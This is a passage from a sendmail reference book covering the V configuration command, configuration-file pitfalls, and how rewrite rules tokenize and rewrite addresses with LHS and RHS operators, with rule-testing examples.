This is a configuration file intended for use with Sun's release of sendmail. If it is declared and if you are running Sun's sendmail, the enhancements documented in Appendix Appendix D, Sun Enhancements, become available for your use. If you are not running Sun's sendmail, an error is printed.

If any other string appears in the vendor part, sendmail will print the following error and ignore that vendor declaration:

invalid V line vendor code: bad vendor name here

Note that vendors other than those shown may have customized their sendmail too, so this may not be a complete list. [3]

[3] Vendors that enhance their sendmail are strongly encouraged to use a new vendor code.

Previous: 27.4 Continuation Lines | sendmail | Next: 27.6 Pitfalls
27.4 Continuation Lines | Book Index | 27.6 Pitfalls


[Chapter 27] 27.6 Pitfalls

sendmailSearch this book
Previous: 27.5 The V Configuration Command Chapter 27
The Configuration File 		Next: 28. Rules

27.6 Pitfalls

  • Avoid accidentally creating an empty-looking line (one that contains only invisible space and tab characters) in the sendmail.cf file when you really intend to create a blank line (one that contains only the newline character). The empty-looking line is joined by sendmail to the line above it and is likely to cause mysterious problems that are difficult to debug.

  • Prior to V8 sendmail the maximum length of any given sendmail.cf line of text was defined in conf.h as MAXLINE. That maximum length was usually 1024 characters, which included the end-of-line character and any continuation lines. If sendmail read a line that was longer than MAXLINE, it silently truncated that line to MAXLINE-1 and terminated the result with a zero value. Note that sendmail read the entire line but ignored the excess characters. This allowed it to accurately keep track of where the next line started. V8 sendmail has no limit for line lengths.

  • Prior to V8 sendmail the last line in your sendmail.cf file had to end with a newline character. Some editors, such as emacs(1), are capable of writing a file in which the last line does not end with a newline character. If that trailing newline was missing from the last line, sendmail silently ignored it, thus treating that line as though it didn't exist. This has been fixed in V8 sendmail.

Previous: 27.5 The V Configuration Command | sendmail | Next: 28. Rules
27.5 The V Configuration Command | Book Index | 28. Rules


[Chapter 28] Rules

sendmailSearch this book
Previous: 27.6 Pitfalls Chapter 28 Next: 28.2 Tokenizing Rules

28. Rules

Contents:
Overview
Tokenizing Rules
The Workspace
The Behavior of a Rule
The LHS
The RHS
Pitfalls

Rules are like little if-then clauses, existing inside rule sets, that test a pattern against an address and change the address if the two match. The process of converting one form of an address into another is called rewriting. Most rewriting requires a sequence of many rules, because an individual rule is relatively limited in what it can do. This need for many rules, combined with the sendmail program's need for succinct expressions, can make sequences of rules dauntingly cryptic.

In this chapter we dissect the components of individual rules. In the previous chapter we showed how groups of rules are combined to perform necessary tasks.

28.1 Overview

Rules are declared in the configuration file with the R command. Like all configuration commands, the R rule configuration command must begin a line. The general form consists of an R command followed by three parts:

Rlhs    rhs   comment

    tabs    tabs

The lhs stands for left-hand side and is most commonly expressed as LHS. The rhs stands for right-hand side and is expressed as RHS. The LHS and RHS are mandatory. The third part (the comment) is optional. The three parts must be separated from each other by one or more tab characters (space characters will not work).

Space characters between the R and the LHS are optional. If there is a tab between the R and the LHS, sendmail silently uses the LHS as the RHS and the RHS becomes the comment.

The tabs leading to the comment and the comment itself are optional and may be omitted. If the RHS is absent, sendmail prints the following warning and ignores that R line:

invalid rewrite line "bad rule here" (tab expected)

This error is printed when the RHS is absent, even if there are tabs following the LHS. (This warning is usually the result of tabs being converted to spaces when text is copied from one window to another in a windowing system.)

28.1.1 Macros in Rules

Each noncomment part of a rule is expanded as the configuration file is read. [1] Thus any references to defined macros are replaced with the value that the macro has at that point in the configuration file. To illustrate, consider this mini-configuration file (called x.cf):

[1] Actually, the comment part is expanded too, but with no effect other than a tiny expenditure of time.

DAvalue1
R$A    $A.new
DAvalue2
R$A    $A.new

In it, $A will have the value value1 when the first R line is expanded and value2 when the second is expanded. Prove this to yourself by running sendmail in -bt rule-testing mode on that file:

% echo =S0 | /usr/lib/sendmail -bt -Cx.cf
> =S0
Rvalue1                 value1 . new
Rvalue2                 value2 . new

Here, we use the =S command (see Section 38.4.1, "Show Rules in a Rule Set with =S") to show each rule after it has been read and expanded.

Another property of macros is that an undefined macro expands to an empty string. Consider this x.cf file:

DAvalue1
R$A    $A.$B
DAvalue2
R$A    $A.$B

and this rule-testing run of sendmail:

% echo =S0 | /usr/lib/sendmail -bt -Cx.cf
> =S0
Rvalue1                 value1 .
Rvalue2                 value2 .

Beginning with V8.7 sendmail, macros can be either single-character or multicharacter. Both forms are expanded when the configuration file is read:

D{OURDOMAIN}us.edu
R${OURDOMAIN}    localhost.${OURDOMAIN}

Multicharacter macros may be used in the LHS and in the RHS. When the configuration file is read, the previous example is expanded to look like this:

> =S0
Rus . edu               localhost . us . edu

28.1.2 Rules Are Treated Like Addresses

After each side (LHS and RHS) is expanded, each is then normalized just as though it were an address. A check is made for any tabs that may have been introduced during expansion. If any are found, everything from the first tab to the end of the string is discarded. Then RFC822-style comments are removed. An RFC822 comment is anything between and including an unquoted pair of parentheses:

DAroot@my.site (Operator)
R$A  tab RHS
    -v
Rroot@my.site (Operator)  tab RHS  <-  expanded
    -v
Rroot@my.site  tab RHS  <-  RFC822 comment stripped

Finally, a check is made for balanced quotation marks, right parentheses balanced by left, and right angle brackets balanced by left. [2] If any right-hand character appears without a corresponding left-hand character, sendmail prints one of the following errors, where configfile is the name of the configuration file that is being read, num shows the line number in that file, and expression is the part of the rule that was unbalanced:

[2] The $> operator isn't counted in checking balance.

configfile: line num: expression...Unbalanced '"'
configfile: line num: expression...Unbalanced '>'
configfile: line num: expression...Unbalanced ')'

The first line shows that sendmail has balanced the unbalanced quotation mark by appending a second quotation mark. Each of the last two lines shows that the unbalanced character is removed. For example, the file:

Rx      RHS"
Ry      RHS>
Rz      RHS)

produces these errors and rules:

% echo =S0 | /usr/lib/sendmail -bt -Cx.cf
x.cf: line 1: RHS"... Unbalanced '"'
x.cf: line 2: RHS>... Unbalanced '>'
x.cf: line 3: RHS)... Unbalanced ')'
> =S0
Rx              RHS ""
Ry              RHS
Rz              RHS

Note that prior to V8.7 sendmail, only an unbalanced right-hand character was checked: [3] Beginning with V8.7 sendmail, unbalanced left-hand characters are also detected, and sendmail attempts to balance them for you. Consider, the following file:

[3] That is, for example, there must not be a > before the < character, and they must pair off.

Rx      "RHS
Ry      <RHS
Rz      (RHS

Here, sendmail detects and fixes the unbalanced characters but does so with warnings:

% echo =S0 | /usr/lib/sendmail -bt -Cx.cf
x.cf: line 1: "RHS... Unbalanced '"'
x.cf: line 2: <RHS... Unbalanced '<'
x.cf: line 3: (RHS... Unbalanced '('
x.cf: line 3: R line: null RHS
> =S0
Rx              "RHS"
Ry              < RHS >
Rz

Note that in the last example (Rz), sendmail balanced the RHS by adding a rightmost parenthesis. This caused the RHS to become an RFC822 comment, which was then deleted, resulting in the null RHS error.

If you get one of these Unbalanced errors, be sure to correct the problem at once. If you leave the faulty rule in place, sendmail will continue to run but will likely produce erroneous mail delivery and other odd problems.

28.1.2.1 Backslashes in rules

Backslash characters are used in addresses to protect certain special characters from interpretation (see Section 35.3.2, "Escape Character in the Header Field"). For example, the address blue;jay would ordinarily be interpreted as having three parts (or tokens, which we'll discuss soon). To prevent sendmail from treating this address as three parts and instead have it viewed as a single item, the special separating nature of the ; can be escaped by prefixing it with a backslash:

blue\;jay

V8 sendmail handles backslashes differently than other versions have in the past. Instead of stripping a backslash and setting a high bit (see below), it leaves backslashes in place:

blue\;jay      becomes     ->    blue\;jay

This causes the backslash to mask the special meaning of characters, because sendmail always recognizes the backslash in that role.

The only time that V8 sendmail strips backslashes is during local delivery, and then only if they are not inside full quotation marks. Mail to \user is delivered to user on the local machine (bypassing further aliasing) with the backslash stripped. But for mail to \user@otherhost the backslash is preserved in both the envelope and the header.

Prior to V8 sendmail, for addresses and rules (which are normalized as addresses), the backslash was removed by sendmail and the high bit of the character following the backslash was set (turned on).

blue;jay

    high-bit turned on

This practice was abandoned because of the need to support international characters (such as ö, [Delta], and [phi]). Most international character sets include many characters that have the high bit set. Escaping a character by setting its high bit is a practice that no longer works in our modern, international world.

Previous: 27.6 Pitfalls | sendmail | Next: 28.2 Tokenizing Rules
27.6 Pitfalls | Book Index | 28.2 Tokenizing Rules


[Chapter 28] 28.2 Tokenizing Rules

sendmailSearch this book
Previous: 28.1 Overview Chapter 28
Rules 		Next: 28.3 The Workspace

28.2 Tokenizing Rules

The sendmail program views the text that makes up rules and addresses as being composed of individual tokens. Rules are tokenized - divided up into individual parts - while the configuration file is being read and while they are being normalized. Addresses are tokenized at another time (as we'll show later), but the process is the same for both.

The text our.domain, for example, is composed of three tokens: our, a dot, and domain. These 10 characters are divided into tokens by the list of separation characters defined by the OperatorChars (pre-V8.7 $o) option (see Section 34.8.45, OperatorChars or $o):

Do.:%@!^=/[]                           <-  prior to V8.7
O OperatorChars=.:%@!^/[]              <-  V8.7 and above

When any of these separation characters are recognized in text, they are considered individual tokens. Any leftover text is then combined into the remaining tokens.

xxx@yyy;zzz    becomes   ->   xxx  @   yyy;zzz

@ is defined to be a token, but ; is not. Therefore, the text is divided into three tokens. However, in addition to the characters in the OperatorChars (pre-V8.7 $o) option, sendmail defines 10 tokenizing characters internally (in parseaddr.c):

()<>,;\"\r\n

These two lists are combined into one master list that is used for all tokenizing. The above example, when divided by using this master list, becomes five tokens instead of just three:

xxx@yyy;zzz    becomes   ->   xxx  @   yyy  ;  zzz

In rules, quotation marks can be used to override the meaning of tokenizing characters defined in the master list. For example,

"xxx@yyy";zzz    becomes   ->   "xxx@yyy"  ;  zzz

Here, three tokens are produced, because the @ appears inside quotation marks. Note that the quotation marks are retained.

Because the configuration file is read sequentially from start to finish, the OperatorChars (pre-V8.7 $o) option should be defined before any rules are declared. But note that beginning with V8.7 sendmail, omission of this option cause the separation characters to default to

. : % @ ! ^ / [ ]

28.2.1 $ Operators Are Tokens

As we progress into the details of rules, you will see that certain characters become operators when prefixed with a $ character. Operators cause sendmail to perform actions, such as looking for a match ($* is a wildcard operator) or replacing tokens with others by position ($1 is a replacement operator).

For tokenizing purposes, operators always divide one token from another, just as the characters in the master list did. For example

xxx$*zzz    becomes   ->   xxx  $*  zzz

28.2.2 The Space Character Is Special

The space character is special for two reasons. First, although the space character is not in the master list, it always separates one token from another:

xxx zzz    becomes   ->   xxx  zzz

Second, although the space character separates tokens, it is not itself a token. That is, in the above example the seven characters on the left (the seventh is the space in the middle) become two tokens of three letters each, not three tokens. Therefore the space character can be used inside the LHS or RHS of rules for improved clarity but does not itself become a token or change the meaning of the rule.

28.2.3 Pasting Addresses Back Together

After an address has passed through all the rules (and has been modified by rewriting), the tokens that form it are pasted back together to form a single string. The pasting process is very straightforward in that it mirrors the tokenizing process:

xxx  @  yyy   becomes   ->    xxx@yyy

The only exception to this straightforward pasting process occurs when two adjoining tokens are both simple text. Simple text is anything other than the separation characters (defined by the OperatorChars (pre-V8.7, $o) option, see Section 34.8.45, and internally by sendmail) or the operators (characters prefixed by a $ character). The xxx and yyy above are both simple text.

When two tokens of simple text are pasted together, the character defined by the BlankSub (B) option (see Section 34.8.5, BlankSub (B)) is inserted between them. [4] Usually, that option is defined as a dot, so two tokens of simple text would have a dot inserted between them when they are joined:

[4] In the old days (RFC733), usernames to the left of the @ could contain spaces. But UNIX also uses spaces as command-line argument separators, so option B was introduced.

xxx  yyy   becomes   ->    xxx.yyy

Note that the improper use of a space character in the LHS or RHS of rules can lead to addresses that have a dot (or other character) inserted where one was not intended.

Previous: 28.1 Overview | sendmail | Next: 28.3 The Workspace
28.1 Overview | Book Index | 28.3 The Workspace


[Chapter 28] 28.3 The Workspace

sendmailSearch this book
Previous: 28.2 Tokenizing Rules Chapter 28
Rules 		Next: 28.4 The Behavior of a Rule

28.3 The Workspace

As was mentioned, rules exist to rewrite addresses. We won't cover the reasons this rewriting needs to be done just yet but will instead concentrate on the general behavior of rewriting.

Before any rules are called to perform rewriting, a temporary buffer called the &"workspace" is created. The address to be rewritten is then tokenized and placed into that workspace. The process of tokenizing addresses in the workspace is exactly the same as the tokenizing of rules that you saw before:

gw@wash.dc.gov    becomes   ->   gw  @  wash  .  dc  . gov

Here, the tokenizing characters defined by the OperatorChars (pre-V8.7, $o) option (see Section 34.8.45) and those defined internally by sendmail caused the address to be broken into seven tokens. The process of rewriting changes the tokens in the workspace:

          <-  workspace is "gw" "@" "wash" "." "dc" "." "gov"
Rlhs rhs
Rlhs rhs		  <-  rules rewrite the workspace
Rlhs rhs
          <-  workspace is "gw" "." "LOCAL"

Here, the workspace began with seven tokens. The three hypothetical rules recognized that this was a local address (in token form) and rewrote it so that it became three tokens.

Previous: 28.2 Tokenizing Rules | sendmail | Next: 28.4 The Behavior of a Rule
28.2 Tokenizing Rules | Book Index | 28.4 The Behavior of a Rule


[Chapter 28] 28.4 The Behavior of a Rule

sendmailSearch this book
Previous: 28.3 The Workspace Chapter 28
Rules 		Next: 28.5 The LHS

28.4 The Behavior of a Rule

Each individual rule (R command) in the configuration file can be thought of as a while-do statement. Recall that rules are composed of an LHS (left-hand side) and an RHS (right-hand side), separated from each other by tabs. As long as (while) the LHS matches the workspace, the workspace is rewritten (do) by the RHS. (see Figure 28.1).

Figure 28.1: The behavior of a rule

Consider a rule in which we want the name tom in the workspace changed into the name fred. One possible rule to do this might look like this:

Rtom    fred

If the workspace contains the name tom, the LHS of this rule matches exactly. As a consequence, the RHS is given the opportunity to rewrite the workspace. It does so by placing the name fred into that workspace. The new workspace is once again compared to the tom in the LHS, but now there is no match because the workspace contains fred. When the workspace and the LHS do not match, the rule is skipped, and the current contents of the workspace are carried down to the next rule. Thus, in our example, the name fred in the workspace is carried down.

Clearly, there is little reason to worry about endless loops in a rule when using names like tom and fred. But the LHS and RHS can contain pattern-matching and replacement operators, and those operators can lead to loops. To illustrate, consider this example from the x.cf file:

Rfred     fred

Clearly. the LHS will always match fred both before and after each rewrite. Here's what happens in testing this rule in -bt rule-testing mode:

% /usr/lib/sendmail -bt -Cx.cf
ADDRESS TEST MODE (ruleset 3 NOT automatically invoked)
Enter <ruleset> <address>
> 0 fred
rewrite: ruleset   0   input: fred
Infinite loop in ruleset 0, rule 1
rewrite: ruleset   0 returns: fred
>

V8 sendmail discovers the loop and breaks it for you. Earlier versions of sendmail would hang forever.

Previous: 28.3 The Workspace | sendmail | Next: 28.5 The LHS
28.3 The Workspace | Book Index | 28.5 The LHS


[Chapter 28] 28.5 The LHS

sendmailSearch this book
Previous: 28.4 The Behavior of a Rule Chapter 28
Rules 		Next: 28.6 The RHS

28.5 The LHS

The LHS of any rule is compared to the current contents of the workspace to determine whether the two match. Table 28.1 displays a variety of special operators offered by sendmail that make comparisons easier and more versatile.

Table 28.1: LHS Operators
Operator | Description or Use
$* | Match zero or more tokens
$+ | Match one or more tokens
$- | Match exactly one token
$@ | Match exactly zero tokens (V8 only)
$= | Match any tokens in a classa
$~ | Match any single token not in a class

The first three operators in Table 28.1 are wildcard operators, which can be used to match arbitrary sequences of tokens in the workspace. Consider the following rule, which employs the $- operator (match any single token):

R$-     fred.local

Here, a match is found only if the workspace contains a single token (such as tom). If the workspace contains multiple tokens (such as tom@host), the LHS does not match. A match causes the workspace to be rewritten by the RHS to become fred.local. The rewritten workspace is then compared again to the $-, but this time there is no match because the workspace contains three tokens (fred, a dot (.), and local). Since there is no match, the current workspace (fred.local) is carried down to the next rule (if there is one).

Note that all comparisons of tokens in the LHS to tokens in the workspace are done in a case-insensitive manner. That is, tom in the LHS matches TOM, Tom, and even ToM in the workspace.

28.5.1 Minimum Matching

When a pattern-matching operator can match multiple tokens ($+ and $*), sendmail performs minimum matching. For example, given a workspace of xxx.yyy.zzz and an LHS of

$+.$+

the first $+ matches only a single token (xxx), but the second $+ matches three (yyy, a dot, and zzz). This is because the first $+ matches the minimum number of tokens that it can while still allowing the whole LHS to match the workspace. Shortly, when we discuss the RHS, we'll show why this is important.

28.5.2 Backup and Retry

Multiple token-matching operators, such as $*, always try to match the fewest number of tokens that they can. Such a simple-minded approach could lead to problems in matching (or not matching) classes in the LHS. For example, consider the following five tokens in the workspace:

A . B . C

Given the following LHS rule:

R$+.$=X$*

Because the $+ tries to match the minimum number of tokens, it first matches only the A in the workspace. The $=X then tries to match the B to the class X. If this match fails, sendmail backs up and tries again.

The third time through, the $+ matches the A.B, and the $=X tries to match the C in the workspace. If C is not in the class X, the entire LHS fails.

The ability of the sendmail program to back up and retry LHS matches eliminates much of the ambiguity from rule design. The multitoken matching operators try to match the minimum but match more if necessary for the whole LHS to match.

Previous: 28.4 The Behavior of a Rule | sendmail | Next: 28.6 The RHS
28.4 The Behavior of a Rule | Book Index | 28.6 The RHS


[Chapter 28] 28.6 The RHS

sendmailSearch this book
Previous: 28.5 The LHS Chapter 28
Rules 		Next: 28.7 Pitfalls

28.6 The RHS

The purpose of the RHS in a rule is to rewrite the workspace. To make this rewriting more versatile, sendmail offers several special RHS operators. The complete list is shown in Table 28.2.

Table 28.2: RHS Operators
RHS |  | Description or Use
$digit | Section 28.6.1, "Copy by Position: $digit" | Copy by position
$: | Section 28.6.2, "Rewrite Once Prefix: $:" | Rewrite once (prefix)
$@ | Section 28.6.3, "Rewrite-and-Return Prefix: $@" | Rewrite and return (prefix)
$>set | Section 28.6.4, "Rewrite Through Another Rule Set: $>set" | Rewrite through another rule set
$# | Section 28.6.5, "Specify a Delivery Agent: $#" | Specify a delivery agent
$[ $] | Section 28.6.6, "Canonicalize Hostname: $[ and $]" | Canonicalize hostname
$( $) | Section 33.4, "Use Maps with $( and $) in Rules" | Database lookup

28.6.1 Copy by Position: $digit

The $digit operator in the RHS is used to copy tokens from the LHS into the workspace. The digit refers to positions of LHS wildcard operators in the LHS:

R$+@$*    $2!$1

 $1 $2

Here, the $1 in the RHS indicates tokens matched by the first wildcard operator in the LHS (in this case the $+), and the $2 in the RHS indicates tokens matched by the second wildcard operator in the LHS (the $*). In this example, if the workspace contains A@B.C, it will be rewritten by the RHS as follows:

$* matches    B.C    so $2 copies it to workspace
              !    explicitly placed into workspace
$+ matches    A    so $1 copies it to workspace

The $digit copies all the tokens matched by its corresponding wildcard operator. For the $+ wildcard operator, only a single token (A) is matched and copied with $1. The ! is copied as is. For the $* wildcard operator, three tokens are matched (B.C), so $2 copies all three. Thus the above rule rewrites A@B.C into B.C!A.

Not all LHS operators need to be referenced with a $digit in the RHS. Consider the following:

R$*<$*>$*   <$2>

Here, only the middle LHS operator (the second one) is required to rewrite the workspace. So only the $2 is needed in the RHS ($1 and $3 are not needed and are not present in the RHS).

Although macros appear to be operators in the LHS, they are not. Recall that macros are expanded when the configuration file is read (see Section 28.1.1, "Macros in Rules"). As a consequence, although they appear as $letter in the configuration file, they are converted to tokens when that configuration file is read. For example,

DAxxx
R$A @ $*   $1

Here, the macro A is defined to have the value xxx. To the unwary, the $1 appears to indicate the $A. But when the configuration file is read, the above rule is expanded into

Rxxx @ $*   $1

Clearly, the $1 refers to the $* (because $digit references only operators and $A is a macro, not an operator). The sendmail program is unable to detect errors of this sort. If the $1 were instead $2 (in a mistaken attempt to reference the $*), sendmail prints the following error and skips that rule:

ruleset replacement num out of bounds

V8 sendmail catches these errors when the configuration file is read. Earlier versions caught this error only when mail was actually sent.

The digit of the $digit must be in the range one through nine. A $0 is meaningless and causes sendmail to print the above error message and to skip that rule. Extra digits are considered tokens, rather than extensions of the $digit. That is, $11 is the RHS operator $1 and the token 1, not a reference to the eleventh LHS operator.

28.6.2 Rewrite Once Prefix: $:

Ordinarily, the RHS rewrites the workspace as long as the workspace continues to match the LHS. This looping behavior can be useful. Consider the need to strip extra trailing dots off an address in the workspace:

R$*..   $1.

Here, the $* matches any address that has two or more trailing dots. The $1. in the RHS then strips one of those two trailing dots when rewriting the workspace. For example,

xxx . . . . .     becomes   ->  xxx . . . .
xxx . . . .       becomes   ->  xxx . . .
xxx . .           becomes   ->  xxx . .
xxx . .           becomes   ->  xxx .
xxx .               <-  match fails

Although this looping behavior of rules can be handy, for most rules it can be dangerous. Consider the following example:

R$*	<$1>

The intention of this rule is to cause whatever is in the workspace to become surrounded with angle brackets. But after the workspace is rewritten, the LHS again checks for a match; and since the $* matches anything, the match succeeds, the RHS rewrites the workspace again, and again the LHS checks for a match:

xxx               becomes   ->  < xxx >
< xxx >           becomes   ->  < < xxx > >
< < xxx > >       becomes   ->  < < < xxx > > >
       -v
     and so on, until ...
       -v
sendmail prints: rewrite: expansion too long

In this case, sendmail catches the problem, because the workspace has become too large. It prints the above error message and skips that and all further rules in the rule set. If you are running sendmail in test mode, this fatal error would also be printed:

== Ruleset 0 (0) status 65

Unfortunately, not all such endless looping produces a visible error message. Consider the following example:

R$*    $1

Here is an LHS that matches anything and an RHS that rewrites the workspace in such a way that the workspace never changes. For older versions this causes sendmail to appear to hang (as it processes the same rule over and over and over). Newer versions of sendmail will catch such endless looping and print (syslog) the following error:

Infinite loop in ruleset ruleset_name, rule rule_number

In this instance the original workspace is returned.

It is not always desirable (or even possible) to write "loop-proof" rules. To prevent looping, sendmail offers the $: RHS prefix. By starting the RHS of a rule with the $: operator, you are telling sendmail to rewrite the workspace exactly once.

R$*   $: <$1>

Again the rule causes the contents of the workspace to be surrounded by a pair of angle brackets. But here the $: prefix prevents the LHS from checking for another match after the rewrite.

Note that the $: prefix must begin the RHS to have any effect. If it instead appears inside the RHS, its special meaning is lost:

foo  rewritten by  $:$1   becomes   ->    foo
foo  rewritten by  $1$:   becomes   ->    foo $:

28.6.3 Rewrite-and-Return Prefix: $@

The flow of rules is such that each and every rule in a series of rules (a rule set) is given a chance to match the workspace:

Rxxx   yyy
Ryyy   zzz

The first rule matches xxx in the workspace and rewrites the workspace to contain yyy. The first rule then tries to match the workspace again but, of course, fails. The second rule then tries to match the workspace. Since the workspace contains yyy, a match is found, and the RHS rewrites the workspace to be zzz.

There will often be times when one rule in a series performs the appropriate rewrite and no subsequent rules need to be called. In the above example, suppose xxx should only become yyy and that the second rule should not be called. To solve problems like this, sendmail offers the $@ prefix for use in the RHS.

The $@ prefix tells sendmail that the current rule is the last one that should be used in the current rule set. If the LHS of the current rule matches, any rules that follow (in the current rule set) are ignored:

Rxxx   $@yyy
Ryyy   zzz

If the workspace contains anything other than xxx, the first rule does not match, and the second rule is called. But if the workspace contains xxx, the first rule matches and rewrites the workspace. The $@ prefix for the RHS of that rule prevents the second rule (and any subsequent rules) from being called.

Note that the $@ also prevents looping. The $@ tells sendmail to skip further rules and to rewrite only once. The difference between $@ and $: is that both rewrite only once, but $@ doesn't proceed to the next rule, whereas $: does.

The $@ operator must be used as a prefix because it has special meaning only when it begins the RHS of a rule. If it appears anywhere else inside the RHS it loses its special meaning:

foo  rewritten by  $@$1   becomes   ->    foo
foo  rewritten by  $1$@   becomes   ->    foo $@

28.6.4 Rewrite Through Another Rule Set: $>set

Rules are organized in sets that can be thought of as subroutines. Occasionally, a rule or series of rules can be common to two or more rule sets. To make the configuration file more compact and somewhat clearer, such common series of rules can be made into separate subroutines.

The RHS $>set operator tells sendmail to perform additional rewriting using a secondary set of rules. The set is the rule-set name or number of that secondary set. If set is the name or number of a nonexistent rule set, the effect is the same as if the subroutine rules were never called (the workspace is unchanged).

If the set is numeric and is greater than the maximum number of allowable rule sets, sendmail prints the following error and skips that rule:

bad ruleset bad_number (maximum max)

If the set is a name and the rule-set name is unknown, sendmail prints the following error and skips that rule:

Unknown ruleset bad_name

Neither of these errors is caught when the configuration file is read. They are caught only when mail is sent, because a rule set name may be a macro:

$> $&{SET}

The $& prefix prevents the macro named {SET} from being expanded when the configuration file is read. Therefore the name or number of the rule set cannot be known until mail is sent.

The process of calling another set of rules proceeds in five stages: First As usual, if the LHS matches the workspace, the RHS gets to rewrite the workspace. Second The RHS ignores the $>set part and rewrites the rest as usual. Third The rewritten workspace is then given to the set of rules specified by set. They either rewrite the workspace or do not. Fourth The original RHS (the one with the $>set) leaves the possibly rewritten workspace as is, as though it had performed the subroutine's rewriting itself. Fifth The LHS gets a crack at the new workspace as usual unless it is prevented by a $: or $@ prefix in the RHS.

For example, consider the following two sets of rules:

# first set
S21
R$*..   $:$>22 $1.     strip extra trailing dots
 ...etc.

# second set
S22
R$*..    $1.           strip trailing dots

Here, the first set of rules contains, among other things, a single rule that removes extra dots from the end of an address. But because other rule sets may also need extra dots stripped, a subroutine (the second set of rules) is created to perform that task.

Note that the first rule strips one trailing dot from the workspace and then calls rule set 22 (the $>22), which then strips any additional dots. The workspace as rewritten by rule set 22 becomes the workspace yielded by the RHS in the first rule. The $: prevents the LHS of the first rule from looking for a match a second time.

Prior to V8.8 sendmail the subroutine call must begin the RHS (immediately follow any $@ or $: prefix, if any) and only a single subroutine may be called. That is, the following causes rule set 22 to be called but does not call 23:

$>22 xxx $>23 yyy

Instead of calling rule set 23, the $> operator and the 23 are copied as is into the workspace, and that workspace is passed to rule set 22:

xxx $> 23 yyy        <-  passed to rule set 22

Beginning with V8.8 [5] sendmail, subroutine calls may appear anywhere inside the RHS, and there may be multiple subroutine calls. Consider the same RHS as above:

[5] Using code derived from IDA sendmail.

$>22 xxx $>23 yyy

Beginning with V8.8 sendmail, rule set 23 is called first and is given the workspace yyy to rewrite. The workspace, as rewritten by rule set 23, is added to the end of the xxx, and the combined result is passed to rule set 22.

Under V8.8 sendmail, subroutine rule-set calls are performed from right to left. The result (rewritten workspace) of each call is appended to the RHS text to the left.

You should beware of one problem with all versions of sendmail. When ordinary text immediately follows the number of the rule set, that text is likely to be ignored. This can be witnessed by using the -d21.3 debugging switch.

Consider the following RHS:

$>3uucp.$1

Because sendmail parses the 3 and the uucp as a single token, the subroutine call succeeds, but the uucp is lost. The -d21.3 switch illustrates this problem:

-----callsubr 3uucp (3)         <-   sees this
-----callsubr 3 (3)             <-  but should have seen this

The 3uucp is interpreted as the number 3, so it is accepted as a valid number despite the fact that uucp was attached. Since the uucp is a part of the number, it is not available for comparison to the workspace and so is lost. The correct way to write the above RHS is

$>3 uucp.$1

Note that the space between the 3 and the uucp causes them to be viewed as two separate tokens.

This problem can also arise with macros. Consider the following:

$>3$M

Here, the $M is expanded when the configuration file is parsed. If the expanded value lacks a leading space, that value (or the first token in it) is lost.

Note that operators that follow a rule-set number are correctly recognized:

$>3$[$1$]

Here, the 3 is immediately followed by the $[ operator. Because operators are token separators, the call to rule set 3 will be correctly interpreted as

-----callsubr 3 (3)             <-  good

But as a general rule, and just to be safe, the number of a subroutine call should always be followed by a space. [6]

[6] As a stylistic point, it is easier to read rules that have spaces between all patterns that are expected to match separate tokens. For example, use $+ @ $* $=m instead of $+@$*$=m. This style handles subroutine calls automatically.

28.6.5 Specify a Delivery Agent: $#

The $# operator in the RHS is copied as is into the workspace and functions as a flag advising sendmail that a delivery agent has been selected. The $# must be the first token copied into the rewritten workspace for it to have this special meaning: If it occupies any other position in the workspace, it loses its special meaning.

$# local             <-  selects delivery agent
xxx $# local         <-  no special meaning

When it occurs first in the rewritten workspace, the $# operator tells sendmail that the second token in the workspace is the name of a delivery agent. The $# operator is useful only in rule sets 0 and 5.

Note that the $# operator may be prefixed with a $@ or a $: without losing its special meaning, because those prefix operators are not copied to the workspace:

$@ $# local     rewritten as   ->  $# local

However, those prefix operators are not necessary, because the $# acts just like a $@ prefix. It prevents the LHS from attempting to match again after the RHS rewrite, and it causes any following rules to be skipped. When used in nonprefix roles in rule sets 0 and 5, $@ and $: also act like flags, conveying host and user information to sendmail (see Section 29.6, "Rule Set 0").

28.6.6 Canonicalize Hostname: $[ and $]

Tokens that appear between a $[ and $] pair of operators in the RHS are considered to be the name of a host. That hostname is looked up by using DNS [7] and replaced with the full canonical form of that name. If found, it is then copied to the workspace, and the $[ and $] are discarded.

[7] Or other means, depending on the setting of service switch file, if you have one, or the state of the ServiceSwitchFile option (see Section 34.8.61, ServiceSwitchFile).

For example, consider a rule that looks for a hostname in angle brackets and (if found) rewrites it in canonical form:

R<$*>     $@ <$[ $1 $]>     canonicalize host name

Such canonicalization is useful at sites where users frequently send mail to machines using the short version of a machine's name. The $[ tells sendmail to view all the tokens that follow (up to the $]) as a single hostname.

If the name cannot be canonicalized (perhaps because there is no such host), the name is copied as is into the workspace. For configuration files lower than 2, no indication is given that it could not be canonicalized (more about this soon).

Note that if the $[ is omitted and the $] is included, the $] loses its special meaning and is copied as is into the workspace.

The hostname between the $[ and $] can also be an IP address. By surrounding the hostname with square brackets ([ and ]), you are telling sendmail that it is really an IP address:

wash.dc.gov              <-  a host name
[123.45.67.8]            <-  an IP address

When the IP address between the square brackets corresponds to a known host, the address and the square brackets are replaced with that host's canonical name.

If the version of the configuration file is 2 or greater (as set with the V configuration command; see Section 27.5, "The V Configuration Command"), a successful canonicalization has a dot appended to the result:

myhost       becomes   ->   myhost . domain .     <-  success
nohost       becomes   ->   nohost                <-  failure

Note that a trailing dot is not legal [8] in an address specification, so subsequent rules (such as rule set 4) must remove these added trailing dots.

[8] Under DNS the trailing dot signifies the root (topmost) domain. Therefore under DNS a trailing dot is legal. For mail, however, RFC1123 specifically states that no address is to be propagated that contains a trailing dot.

Also, the K configuration command (see Section 33.3, "The K Configuration Command") can be used to redefine (or eliminate) the dot as the added character. For example,

Khost host -a.found

This causes sendmail to add the text .found to a successfully canonicalized hostname instead of the dot.

One difference between V8 sendmail and other versions is in the way it looks up names from between the $[ and $] operators. The rules for V8 sendmail are as follows: First If the name contains at least one dot (.) anywhere within it, it is looked up as is; for example, host.CS. Second If that fails, it appends the default domain to the name (as defined in /etc/resolv.conf) and tries to look up the result; for example, host.CS.our.Sub.Domain. Third If that fails, the leftmost part of the subdomain (if any) is discarded and the result is appended to the original host; for example, host.our.Sub.Domain. Fourth If the original name did not have a dot in it, it is looked up as is; for example, host.

This approach allows names such as host.CS to first match a site in the Czech Republic, such as vscht.CS (if that was intended), rather than to wrongly match a host in your local Computer Science (CS) department. This is particularly important if you have wildcard MX records for your site.

28.6.6.1 An example of canonicalization

The following two-line configuration file can be used to observe how sendmail canonicalizes hostnames:

V2
R$*        $@ $[ $1 $]

If this file were called x.cf, sendmail could be run in rule-testing mode with a command like the following:

% /usr/lib/sendmail -oQ. -Cx.cf -bt

